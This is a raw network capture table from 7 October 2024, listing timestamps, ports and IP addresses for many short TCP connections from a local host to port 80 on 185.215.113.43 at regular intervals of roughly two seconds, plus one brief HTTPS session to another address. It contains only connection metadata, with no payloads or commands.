Oct 7, 2024 13:29:55.973702908 CEST	80	50100	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:56.670700073 CEST	80	50100	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:56.673871040 CEST	50100	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:58.181619883 CEST	50100	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:58.181982040 CEST	50101	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:58.187074900 CEST	80	50100	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:58.187139034 CEST	50100	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:58.187216997 CEST	80	50101	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:58.187299967 CEST	50101	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:58.187511921 CEST	50101	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:58.192517042 CEST	80	50101	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:58.898516893 CEST	80	50101	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:58.898718119 CEST	50101	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:00.524111986 CEST	50101	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:00.524454117 CEST	50102	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:00.529406071 CEST	80	50102	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:00.529488087 CEST	50102	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:00.529493093 CEST	80	50101	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:00.529551029 CEST	50101	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:00.529695988 CEST	50102	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:00.534564972 CEST	80	50102	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:01.337326050 CEST	80	50102	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:01.337769985 CEST	50102	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:02.852510929 CEST	50103	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:02.852515936 CEST	50102	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:02.857490063 CEST	80	50103	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:02.857703924 CEST	80	50102	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:02.859694958 CEST	50103	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:02.859700918 CEST	50102	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:02.859955072 CEST	50103	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:02.864727974 CEST	80	50103	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:03.637866020 CEST	80	50103	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:03.639739990 CEST	50103	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:05.260087013 CEST	50103	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:05.260415077 CEST	50104	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:05.265408993 CEST	80	50104	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:05.265522003 CEST	80	50103	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:05.265552044 CEST	50104	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:05.265744925 CEST	50104	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:05.265818119 CEST	50103	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:05.270587921 CEST	80	50104	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:06.035767078 CEST	80	50104	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:06.035856009 CEST	50104	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:07.539839983 CEST	50104	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:07.540277958 CEST	50105	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:07.545191050 CEST	80	50104	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:07.545308113 CEST	50104	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:07.545310020 CEST	80	50105	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:07.545406103 CEST	50105	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:07.545583010 CEST	50105	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:07.550683022 CEST	80	50105	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:08.243896008 CEST	80	50105	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:08.244034052 CEST	50105	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:09.870640993 CEST	50105	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:09.871088028 CEST	50106	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:09.876096010 CEST	80	50105	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:09.876118898 CEST	80	50106	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:09.876213074 CEST	50106	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:09.876213074 CEST	50105	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:09.876715899 CEST	50106	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:09.881635904 CEST	80	50106	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:10.587779999 CEST	80	50106	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:10.587841034 CEST	50106	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:12.104403019 CEST	50106	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:12.104829073 CEST	50107	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:12.109540939 CEST	80	50106	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:12.109616041 CEST	50106	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:12.109637022 CEST	80	50107	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:12.109704971 CEST	50107	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:12.110024929 CEST	50107	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:12.114782095 CEST	80	50107	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:12.813745022 CEST	80	50107	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:12.813872099 CEST	50107	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:14.446257114 CEST	50107	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:14.446651936 CEST	50108	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:14.451755047 CEST	80	50108	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:14.451833963 CEST	50108	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:14.452003956 CEST	80	50107	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:14.452023983 CEST	50108	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:14.452054977 CEST	50107	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:14.457287073 CEST	80	50108	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:15.171610117 CEST	80	50108	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:15.172034979 CEST	50108	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:16.680711985 CEST	50108	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:16.681006908 CEST	50109	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:16.686023951 CEST	80	50109	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:16.686084032 CEST	50109	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:16.686182022 CEST	80	50108	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:16.686281919 CEST	50108	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:16.686351061 CEST	50109	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:16.691169977 CEST	80	50109	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:17.388088942 CEST	80	50109	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:17.388290882 CEST	50109	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:18.993557930 CEST	50109	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:18.993941069 CEST	50110	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:18.998905897 CEST	80	50110	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:18.999139071 CEST	80	50109	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:19.002084017 CEST	50109	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:19.002084017 CEST	50110	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:19.002279997 CEST	50110	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:19.007121086 CEST	80	50110	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:19.722722054 CEST	80	50110	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:19.722841978 CEST	50110	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:21.227792978 CEST	50110	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:21.228070974 CEST	50111	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:21.631424904 CEST	50110	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:21.907035112 CEST	80	50111	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:21.907100916 CEST	80	50110	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:21.907135010 CEST	50111	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:21.907366037 CEST	80	50110	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:21.907416105 CEST	50110	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:21.907543898 CEST	50111	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:21.912337065 CEST	80	50111	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:22.620378017 CEST	80	50111	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:22.620542049 CEST	50111	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:24.244842052 CEST	50111	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:24.245280027 CEST	50112	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:24.250567913 CEST	80	50111	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:24.250582933 CEST	80	50112	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:24.250628948 CEST	50111	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:24.250693083 CEST	50112	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:24.250787973 CEST	50112	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:24.256899118 CEST	80	50112	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:24.950452089 CEST	80	50112	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:24.951920986 CEST	50112	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:26.461709976 CEST	50112	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:26.462116003 CEST	50113	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:26.771568060 CEST	50112	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:27.003246069 CEST	80	50113	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:27.003334045 CEST	80	50112	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:27.003560066 CEST	50113	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:27.003731012 CEST	50113	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:27.003993988 CEST	80	50112	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:27.004219055 CEST	50112	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:27.008712053 CEST	80	50113	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:27.727797031 CEST	80	50113	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:27.727865934 CEST	50113	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:29.353789091 CEST	50113	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:29.354192019 CEST	50114	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:29.358949900 CEST	80	50113	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:29.358999968 CEST	80	50114	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:29.359061003 CEST	50113	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:29.359170914 CEST	50114	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:29.359404087 CEST	50114	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:29.364155054 CEST	80	50114	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:30.049616098 CEST	80	50114	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:30.049698114 CEST	50114	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:31.555773973 CEST	50114	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:31.556583881 CEST	50115	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:31.562421083 CEST	80	50114	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:31.563515902 CEST	80	50115	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:31.563627958 CEST	50114	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:31.563703060 CEST	50115	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:31.564387083 CEST	50115	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:31.570604086 CEST	80	50115	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:32.268177032 CEST	80	50115	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:32.268263102 CEST	50115	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:33.900768042 CEST	50115	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:33.901227951 CEST	50116	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:33.906372070 CEST	80	50115	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:33.906393051 CEST	80	50116	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:33.906445026 CEST	50115	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:33.906488895 CEST	50116	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:33.906754017 CEST	50116	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:33.911601067 CEST	80	50116	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:34.610656023 CEST	80	50116	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:34.610745907 CEST	50116	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:36.119189978 CEST	50116	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:36.119601965 CEST	50117	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:36.125678062 CEST	80	50116	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:36.125746965 CEST	50116	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:36.125773907 CEST	80	50117	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:36.125850916 CEST	50117	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:36.126106024 CEST	50117	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:36.131438017 CEST	80	50117	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:36.866202116 CEST	80	50117	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:36.866529942 CEST	50117	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:38.494301081 CEST	50117	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:38.494930983 CEST	50118	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:38.499577045 CEST	80	50117	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:38.499650002 CEST	50117	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:38.499831915 CEST	80	50118	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:38.499910116 CEST	50118	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:38.500066996 CEST	50118	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:38.508805990 CEST	80	50118	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:39.236361980 CEST	80	50118	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:39.236479044 CEST	50118	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:40.744645119 CEST	50118	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:40.747040033 CEST	50119	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:40.749830008 CEST	80	50118	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:40.752046108 CEST	50118	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:40.752327919 CEST	80	50119	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:40.752448082 CEST	50119	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:40.752710104 CEST	50119	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:40.757539988 CEST	80	50119	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:41.475692987 CEST	80	50119	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:41.476026058 CEST	50119	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:43.103605032 CEST	50120	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:43.103610992 CEST	50119	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:43.108757019 CEST	80	50120	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:43.109087944 CEST	80	50119	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:43.109194040 CEST	50120	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:43.109221935 CEST	50119	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:43.109410048 CEST	50120	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:43.114237070 CEST	80	50120	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:43.803244114 CEST	80	50120	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:43.803318024 CEST	50120	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:45.322179079 CEST	50120	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:45.322225094 CEST	50121	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:45.327127934 CEST	80	50121	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:45.327389002 CEST	80	50120	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:45.332084894 CEST	50120	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:45.332089901 CEST	50121	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:45.332324028 CEST	50121	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:45.337460995 CEST	80	50121	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:46.038325071 CEST	80	50121	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:46.038393021 CEST	50121	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:47.666897058 CEST	50121	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:47.667248964 CEST	50122	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:47.672135115 CEST	80	50121	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:47.672489882 CEST	80	50122	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:47.672609091 CEST	50121	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:47.672609091 CEST	50122	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:47.672801971 CEST	50122	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:47.677634001 CEST	80	50122	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:48.382168055 CEST	80	50122	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:48.382239103 CEST	50122	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:49.117497921 CEST	50122	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:49.123013020 CEST	80	50122	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:49.123341084 CEST	50122	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:49.887887955 CEST	50123	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:49.892913103 CEST	80	50123	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:49.892993927 CEST	50123	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:49.893321037 CEST	50123	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:49.898216963 CEST	80	50123	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:50.599742889 CEST	80	50123	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:50.599807024 CEST	50123	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:52.229482889 CEST	50123	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:52.229939938 CEST	50124	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:52.234767914 CEST	80	50124	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:52.234857082 CEST	50124	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:52.235011101 CEST	50124	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:52.239830017 CEST	80	50124	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:52.240196943 CEST	80	50123	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:52.240253925 CEST	50123	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:52.955812931 CEST	80	50124	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:52.959543943 CEST	50124	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:54.478605032 CEST	50124	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:54.478955984 CEST	50125	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:54.483803034 CEST	80	50125	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:54.483875036 CEST	50125	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:54.483987093 CEST	80	50124	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:54.484031916 CEST	50125	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:54.484047890 CEST	50124	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:54.488782883 CEST	80	50125	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:55.196468115 CEST	80	50125	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:55.196598053 CEST	50125	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:56.822442055 CEST	50126	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:56.822443008 CEST	50125	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:56.827677011 CEST	80	50126	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:56.827920914 CEST	80	50125	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:56.828219891 CEST	50126	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:56.828219891 CEST	50125	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:56.828373909 CEST	50126	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:56.833139896 CEST	80	50126	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:57.539057970 CEST	80	50126	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:57.539150953 CEST	50126	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:59.056370020 CEST	50126	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:59.056880951 CEST	50127	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:59.061635971 CEST	80	50126	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:59.061764002 CEST	50126	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:59.061933041 CEST	80	50127	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:59.063087940 CEST	50127	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:59.063226938 CEST	50127	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:30:59.067955971 CEST	80	50127	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:59.758683920 CEST	80	50127	185.215.113.43	192.168.2.5
Oct 7, 2024 13:30:59.758764029 CEST	50127	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:01.021195889 CEST	50128	443	192.168.2.5	13.69.239.74
Oct 7, 2024 13:31:01.021258116 CEST	443	50128	13.69.239.74	192.168.2.5
Oct 7, 2024 13:31:01.023643970 CEST	50128	443	192.168.2.5	13.69.239.74
Oct 7, 2024 13:31:01.024130106 CEST	50128	443	192.168.2.5	13.69.239.74
Oct 7, 2024 13:31:01.024148941 CEST	443	50128	13.69.239.74	192.168.2.5
Oct 7, 2024 13:31:01.384499073 CEST	50127	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:01.386936903 CEST	50129	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:01.389955997 CEST	80	50127	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:01.391803980 CEST	80	50129	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:01.391937017 CEST	50127	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:01.391937017 CEST	50129	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:01.393776894 CEST	50129	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:01.398817062 CEST	80	50129	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:01.785991907 CEST	443	50128	13.69.239.74	192.168.2.5
Oct 7, 2024 13:31:01.786211014 CEST	50128	443	192.168.2.5	13.69.239.74
Oct 7, 2024 13:31:01.786211014 CEST	50128	443	192.168.2.5	13.69.239.74
Oct 7, 2024 13:31:01.796878099 CEST	50128	443	192.168.2.5	13.69.239.74
Oct 7, 2024 13:31:01.796911001 CEST	443	50128	13.69.239.74	192.168.2.5
Oct 7, 2024 13:31:01.797395945 CEST	443	50128	13.69.239.74	192.168.2.5
Oct 7, 2024 13:31:01.797451019 CEST	50128	443	192.168.2.5	13.69.239.74
Oct 7, 2024 13:31:01.797997952 CEST	50128	443	192.168.2.5	13.69.239.74
Oct 7, 2024 13:31:01.798063040 CEST	50128	443	192.168.2.5	13.69.239.74
Oct 7, 2024 13:31:01.798121929 CEST	443	50128	13.69.239.74	192.168.2.5
Oct 7, 2024 13:31:02.014965057 CEST	443	50128	13.69.239.74	192.168.2.5
Oct 7, 2024 13:31:02.015033007 CEST	50128	443	192.168.2.5	13.69.239.74
Oct 7, 2024 13:31:02.015058041 CEST	443	50128	13.69.239.74	192.168.2.5
Oct 7, 2024 13:31:02.015105009 CEST	50128	443	192.168.2.5	13.69.239.74
Oct 7, 2024 13:31:02.015108109 CEST	443	50128	13.69.239.74	192.168.2.5
Oct 7, 2024 13:31:02.015161037 CEST	50128	443	192.168.2.5	13.69.239.74
Oct 7, 2024 13:31:02.016391039 CEST	50128	443	192.168.2.5	13.69.239.74
Oct 7, 2024 13:31:02.016406059 CEST	443	50128	13.69.239.74	192.168.2.5
Oct 7, 2024 13:31:02.100059032 CEST	80	50129	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:02.100131989 CEST	50129	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:03.619102955 CEST	50129	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:03.619227886 CEST	50130	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:03.624212980 CEST	80	50130	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:03.624599934 CEST	80	50129	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:03.627806902 CEST	50130	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:03.627806902 CEST	50129	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:03.627937078 CEST	50130	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:03.632750988 CEST	80	50130	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:04.332911968 CEST	80	50130	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:04.332968950 CEST	50130	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:05.964648008 CEST	50130	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:05.965152979 CEST	50131	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:05.969959021 CEST	80	50130	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:05.969989061 CEST	80	50131	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:05.970016003 CEST	50130	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:05.970069885 CEST	50131	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:05.970216990 CEST	50131	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:05.975140095 CEST	80	50131	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:06.679706097 CEST	80	50131	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:06.679769039 CEST	50131	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:08.197693110 CEST	50131	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:08.198123932 CEST	50132	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:08.203260899 CEST	80	50131	185.215.113.43	192.168.2.5
